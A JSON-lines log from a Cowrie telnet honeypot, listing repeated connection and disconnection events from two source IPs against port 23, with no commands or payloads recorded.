{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":55376,"dst_ip":"159.203.135.109","dst_port":23,"session":"1fa8f8f3a68f","protocol":"telnet","message":"New connection: 69.6.225.50:55376 (159.203.135.109:23) [session: 1fa8f8f3a68f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:15:52.163384Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":55310,"dst_ip":"159.203.135.109","dst_port":23,"session":"e926d2960656","protocol":"telnet","message":"New connection: 69.6.225.50:55310 (159.203.135.109:23) [session: e926d2960656]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:15:52.330407Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":55392,"dst_ip":"159.203.135.109","dst_port":23,"session":"f39adaad3677","protocol":"telnet","message":"New connection: 69.6.225.50:55392 (159.203.135.109:23) [session: f39adaad3677]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:15:52.395891Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":55402,"dst_ip":"159.203.135.109","dst_port":23,"session":"6408cc462b7e","protocol":"telnet","message":"New connection: 69.6.225.50:55402 (159.203.135.109:23) [session: 6408cc462b7e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:15:52.535344Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":55414,"dst_ip":"159.203.135.109","dst_port":23,"session":"99545b92c596","protocol":"telnet","message":"New connection: 69.6.225.50:55414 (159.203.135.109:23) [session: 99545b92c596]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:15:52.689900Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":55418,"dst_ip":"159.203.135.109","dst_port":23,"session":"e1d0b304e850","protocol":"telnet","message":"New connection: 69.6.225.50:55418 (159.203.135.109:23) [session: e1d0b304e850]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:15:52.818286Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":55426,"dst_ip":"159.203.135.109","dst_port":23,"session":"b2da7f670667","protocol":"telnet","message":"New connection: 69.6.225.50:55426 (159.203.135.109:23) [session: b2da7f670667]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:15:52.891447Z"}
{"eventid":"cowrie.session.closed","duration":30.284439086914062,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:15:53.046612Z","src_ip":"69.6.225.50","session":"f697b8cdf591","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.94796848297119,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:15:53.052005Z","src_ip":"69.6.225.50","session":"35913328ffcb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":55404,"dst_ip":"159.203.135.109","dst_port":23,"session":"f52f47130bd4","protocol":"telnet","message":"New connection: 69.6.225.50:55404 (159.203.135.109:23) [session: f52f47130bd4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:15:53.590709Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":55440,"dst_ip":"159.203.135.109","dst_port":23,"session":"b95a34f631cf","protocol":"telnet","message":"New connection: 69.6.225.50:55440 (159.203.135.109:23) [session: b95a34f631cf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:15:53.652371Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":55450,"dst_ip":"159.203.135.109","dst_port":23,"session":"8b0e6db76c55","protocol":"telnet","message":"New connection: 69.6.225.50:55450 (159.203.135.109:23) [session: 8b0e6db76c55]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:15:53.774130Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":55452,"dst_ip":"159.203.135.109","dst_port":23,"session":"e1d7f76f165f","protocol":"telnet","message":"New connection: 69.6.225.50:55452 (159.203.135.109:23) [session: e1d7f76f165f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:15:54.105178Z"}
{"eventid":"cowrie.session.closed","duration":30.804777145385742,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:15:54.200536Z","src_ip":"69.6.225.50","session":"3d82653cd829","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"144.79.218.12","src_port":59114,"dst_ip":"10.17.0.5","dst_port":23,"session":"70536f77bb27","protocol":"telnet","message":"New connection: 144.79.218.12:59114 (10.17.0.5:23) [session: 70536f77bb27]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:15:54.520198Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":55456,"dst_ip":"159.203.135.109","dst_port":23,"session":"58dd9bcf8eb5","protocol":"telnet","message":"New connection: 69.6.225.50:55456 (159.203.135.109:23) [session: 58dd9bcf8eb5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:15:54.587950Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":55464,"dst_ip":"159.203.135.109","dst_port":23,"session":"982f7470e855","protocol":"telnet","message":"New connection: 69.6.225.50:55464 (159.203.135.109:23) [session: 982f7470e855]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:15:54.730429Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":55478,"dst_ip":"159.203.135.109","dst_port":23,"session":"da98d887f9c7","protocol":"telnet","message":"New connection: 69.6.225.50:55478 (159.203.135.109:23) [session: da98d887f9c7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:15:54.842572Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":55494,"dst_ip":"159.203.135.109","dst_port":23,"session":"f297339f0df4","protocol":"telnet","message":"New connection: 69.6.225.50:55494 (159.203.135.109:23) [session: f297339f0df4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:15:54.892805Z"}
{"eventid":"cowrie.session.closed","duration":32.45529222488403,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:15:54.902663Z","src_ip":"144.79.218.12","session":"aa3d8e46fbe4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":55502,"dst_ip":"159.203.135.109","dst_port":23,"session":"1115fb1cac54","protocol":"telnet","message":"New connection: 69.6.225.50:55502 (159.203.135.109:23) [session: 1115fb1cac54]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:15:54.989039Z"}
{"eventid":"cowrie.session.connect","src_ip":"144.79.218.12","src_port":59116,"dst_ip":"10.17.0.5","dst_port":23,"session":"43ca2aa6b1f1","protocol":"telnet","message":"New connection: 144.79.218.12:59116 (10.17.0.5:23) [session: 43ca2aa6b1f1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:15:54.996195Z"}
{"eventid":"cowrie.session.closed","duration":30.71137022972107,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:15:55.062548Z","src_ip":"69.6.225.50","session":"898f9207a7e1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.546381950378418,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:15:55.160602Z","src_ip":"69.6.225.50","session":"469336c82b9d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"144.79.218.12","src_port":59122,"dst_ip":"10.17.0.5","dst_port":23,"session":"37a9bfb344a9","protocol":"telnet","message":"New connection: 144.79.218.12:59122 (10.17.0.5:23) [session: 37a9bfb344a9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:15:55.203222Z"}
{"eventid":"cowrie.session.connect","src_ip":"144.79.218.12","src_port":59124,"dst_ip":"10.17.0.5","dst_port":23,"session":"cc6325eb3a3c","protocol":"telnet","message":"New connection: 144.79.218.12:59124 (10.17.0.5:23) [session: cc6325eb3a3c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:15:55.291043Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":55506,"dst_ip":"159.203.135.109","dst_port":23,"session":"6b961ad60ce1","protocol":"telnet","message":"New connection: 69.6.225.50:55506 (159.203.135.109:23) [session: 6b961ad60ce1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:15:55.302088Z"}
{"eventid":"cowrie.session.connect","src_ip":"144.79.218.12","src_port":59128,"dst_ip":"10.17.0.5","dst_port":23,"session":"2120f588abf7","protocol":"telnet","message":"New connection: 144.79.218.12:59128 (10.17.0.5:23) [session: 2120f588abf7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:15:55.395249Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":55518,"dst_ip":"159.203.135.109","dst_port":23,"session":"49f7c29bfe2a","protocol":"telnet","message":"New connection: 69.6.225.50:55518 (159.203.135.109:23) [session: 49f7c29bfe2a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:15:55.472524Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":55514,"dst_ip":"159.203.135.109","dst_port":23,"session":"e36c00a29dd1","protocol":"telnet","message":"New connection: 69.6.225.50:55514 (159.203.135.109:23) [session: e36c00a29dd1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:15:55.478340Z"}
{"eventid":"cowrie.session.closed","duration":32.37734937667847,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:15:55.787320Z","src_ip":"144.79.218.12","session":"a560d1608f0d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.72585391998291,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:15:56.044712Z","src_ip":"69.6.225.50","session":"02c0a8152222","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.96782159805298,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:15:56.049594Z","src_ip":"69.6.225.50","session":"8c31bc2d92fb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":55522,"dst_ip":"159.203.135.109","dst_port":23,"session":"102b7459cb66","protocol":"telnet","message":"New connection: 69.6.225.50:55522 (159.203.135.109:23) [session: 102b7459cb66]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:15:56.090312Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":55530,"dst_ip":"159.203.135.109","dst_port":23,"session":"e6f296f59ab2","protocol":"telnet","message":"New connection: 69.6.225.50:55530 (159.203.135.109:23) [session: e6f296f59ab2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:15:56.313071Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":55538,"dst_ip":"159.203.135.109","dst_port":23,"session":"85d22e39e317","protocol":"telnet","message":"New connection: 69.6.225.50:55538 (159.203.135.109:23) [session: 85d22e39e317]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:15:56.443624Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":55554,"dst_ip":"159.203.135.109","dst_port":23,"session":"bb4a0f02b043","protocol":"telnet","message":"New connection: 69.6.225.50:55554 (159.203.135.109:23) [session: bb4a0f02b043]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:15:56.502100Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":55574,"dst_ip":"159.203.135.109","dst_port":23,"session":"09060f70cff8","protocol":"telnet","message":"New connection: 69.6.225.50:55574 (159.203.135.109:23) [session: 09060f70cff8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:15:56.708503Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":55560,"dst_ip":"159.203.135.109","dst_port":23,"session":"0dc16ed2f293","protocol":"telnet","message":"New connection: 69.6.225.50:55560 (159.203.135.109:23) [session: 0dc16ed2f293]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:15:56.715645Z"}
{"eventid":"cowrie.session.connect","src_ip":"144.79.218.12","src_port":59132,"dst_ip":"10.17.0.5","dst_port":23,"session":"3dbdcd53360c","protocol":"telnet","message":"New connection: 144.79.218.12:59132 (10.17.0.5:23) [session: 3dbdcd53360c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:15:56.787231Z"}
{"eventid":"cowrie.session.closed","duration":33.37255549430847,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:15:56.862966Z","src_ip":"144.79.218.12","session":"fafe63ff91a2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.69562864303589,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:15:57.052952Z","src_ip":"69.6.225.50","session":"41794dde3db4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.646010160446167,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:15:57.103015Z","src_ip":"69.6.225.50","session":"bbfb71db3c4d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":55576,"dst_ip":"159.203.135.109","dst_port":23,"session":"48172564f44a","protocol":"telnet","message":"New connection: 69.6.225.50:55576 (159.203.135.109:23) [session: 48172564f44a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:15:57.206865Z"}
{"eventid":"cowrie.session.connect","src_ip":"144.79.218.12","src_port":59146,"dst_ip":"10.17.0.5","dst_port":23,"session":"13f1ebe6171d","protocol":"telnet","message":"New connection: 144.79.218.12:59146 (10.17.0.5:23) [session: 13f1ebe6171d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:15:57.425744Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":55578,"dst_ip":"159.203.135.109","dst_port":23,"session":"a0402a41861d","protocol":"telnet","message":"New connection: 69.6.225.50:55578 (159.203.135.109:23) [session: a0402a41861d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:15:57.467941Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":55590,"dst_ip":"159.203.135.109","dst_port":23,"session":"3b2202aafa99","protocol":"telnet","message":"New connection: 69.6.225.50:55590 (159.203.135.109:23) [session: 3b2202aafa99]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:15:57.622308Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":55596,"dst_ip":"159.203.135.109","dst_port":23,"session":"d1425e3d54e9","protocol":"telnet","message":"New connection: 69.6.225.50:55596 (159.203.135.109:23) [session: d1425e3d54e9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:15:57.698505Z"}
{"eventid":"cowrie.session.connect","src_ip":"144.79.218.12","src_port":59158,"dst_ip":"10.17.0.5","dst_port":23,"session":"24a3fb116229","protocol":"telnet","message":"New connection: 144.79.218.12:59158 (10.17.0.5:23) [session: 24a3fb116229]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:15:57.727828Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":46532,"dst_ip":"159.203.135.109","dst_port":23,"session":"09c5ffb64c13","protocol":"telnet","message":"New connection: 69.6.225.50:46532 (159.203.135.109:23) [session: 09c5ffb64c13]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:15:57.918927Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":46544,"dst_ip":"159.203.135.109","dst_port":23,"session":"5ecbb41b93a1","protocol":"telnet","message":"New connection: 69.6.225.50:46544 (159.203.135.109:23) [session: 5ecbb41b93a1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:15:58.038248Z"}
{"eventid":"cowrie.session.closed","duration":30.352574348449707,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:15:58.158832Z","src_ip":"69.6.225.50","session":"4013f5aa5be4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.94779109954834,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:15:58.218270Z","src_ip":"69.6.225.50","session":"3e7fd4415a78","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.78960418701172,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:15:58.232855Z","src_ip":"69.6.225.50","session":"314d7e3d8704","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":46566,"dst_ip":"159.203.135.109","dst_port":23,"session":"b9478a89026c","protocol":"telnet","message":"New connection: 69.6.225.50:46566 (159.203.135.109:23) [session: b9478a89026c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:15:58.518381Z"}
{"eventid":"cowrie.session.closed","duration":30.927247524261475,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:15:58.540981Z","src_ip":"144.79.218.12","session":"4cf72f2a6373","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":46570,"dst_ip":"159.203.135.109","dst_port":23,"session":"160e99571f4b","protocol":"telnet","message":"New connection: 69.6.225.50:46570 (159.203.135.109:23) [session: 160e99571f4b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:15:58.552566Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":46578,"dst_ip":"159.203.135.109","dst_port":23,"session":"d464819089a4","protocol":"telnet","message":"New connection: 69.6.225.50:46578 (159.203.135.109:23) [session: d464819089a4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:15:58.740271Z"}
{"eventid":"cowrie.session.closed","duration":33.93088412284851,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:15:58.745582Z","src_ip":"144.79.218.12","session":"82513ff5a067","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":46592,"dst_ip":"159.203.135.109","dst_port":23,"session":"c37d21713897","protocol":"telnet","message":"New connection: 69.6.225.50:46592 (159.203.135.109:23) [session: c37d21713897]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:15:58.911530Z"}
{"eventid":"cowrie.session.closed","duration":30.822195291519165,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:15:59.049054Z","src_ip":"69.6.225.50","session":"bb0158a0e747","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":46558,"dst_ip":"159.203.135.109","dst_port":23,"session":"60b1985458df","protocol":"telnet","message":"New connection: 69.6.225.50:46558 (159.203.135.109:23) [session: 60b1985458df]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:15:59.205464Z"}
{"eventid":"cowrie.session.closed","duration":30.946563243865967,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:15:59.215786Z","src_ip":"69.6.225.50","session":"8d9d8ed1e1a8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.76376509666443,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:15:59.248539Z","src_ip":"69.6.225.50","session":"31f72275898b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":46600,"dst_ip":"159.203.135.109","dst_port":23,"session":"d08785cc504b","protocol":"telnet","message":"New connection: 69.6.225.50:46600 (159.203.135.109:23) [session: d08785cc504b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:15:59.527830Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":46608,"dst_ip":"159.203.135.109","dst_port":23,"session":"9101e0607403","protocol":"telnet","message":"New connection: 69.6.225.50:46608 (159.203.135.109:23) [session: 9101e0607403]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:15:59.630532Z"}
{"eventid":"cowrie.session.closed","duration":40.27022862434387,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:15:59.728619Z","src_ip":"144.79.218.12","session":"d1cbaa5ae5f5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"144.79.218.12","src_port":56032,"dst_ip":"10.17.0.5","dst_port":23,"session":"7af7e4148ff0","protocol":"telnet","message":"New connection: 144.79.218.12:56032 (10.17.0.5:23) [session: 7af7e4148ff0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:15:59.826004Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":46622,"dst_ip":"159.203.135.109","dst_port":23,"session":"7625f8a7511e","protocol":"telnet","message":"New connection: 69.6.225.50:46622 (159.203.135.109:23) [session: 7625f8a7511e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:15:59.910806Z"}
{"eventid":"cowrie.session.closed","duration":30.962100744247437,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:16:00.055458Z","src_ip":"69.6.225.50","session":"3e9ff115e13e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.87662982940674,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:16:00.107550Z","src_ip":"69.6.225.50","session":"6f12a86d9db4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.58337140083313,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:16:00.129676Z","src_ip":"69.6.225.50","session":"8aab5dc92371","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"144.79.218.12","src_port":56038,"dst_ip":"10.17.0.5","dst_port":23,"session":"ceb7e6facace","protocol":"telnet","message":"New connection: 144.79.218.12:56038 (10.17.0.5:23) [session: ceb7e6facace]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:16:00.148307Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":46632,"dst_ip":"159.203.135.109","dst_port":23,"session":"421bb771ad5d","protocol":"telnet","message":"New connection: 69.6.225.50:46632 (159.203.135.109:23) [session: 421bb771ad5d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:16:00.628655Z"}
{"eventid":"cowrie.session.connect","src_ip":"144.79.218.12","src_port":56050,"dst_ip":"10.17.0.5","dst_port":23,"session":"d9bdc2b37b63","protocol":"telnet","message":"New connection: 144.79.218.12:56050 (10.17.0.5:23) [session: d9bdc2b37b63]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:16:00.691600Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":46640,"dst_ip":"159.203.135.109","dst_port":23,"session":"c773072dae8b","protocol":"telnet","message":"New connection: 69.6.225.50:46640 (159.203.135.109:23) [session: c773072dae8b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:16:00.700670Z"}
{"eventid":"cowrie.session.connect","src_ip":"144.79.218.12","src_port":56054,"dst_ip":"10.17.0.5","dst_port":23,"session":"4e33251dabfb","protocol":"telnet","message":"New connection: 144.79.218.12:56054 (10.17.0.5:23) [session: 4e33251dabfb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:16:00.776249Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":46642,"dst_ip":"159.203.135.109","dst_port":23,"session":"1655aed88fa0","protocol":"telnet","message":"New connection: 69.6.225.50:46642 (159.203.135.109:23) [session: 1655aed88fa0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:16:00.835018Z"}
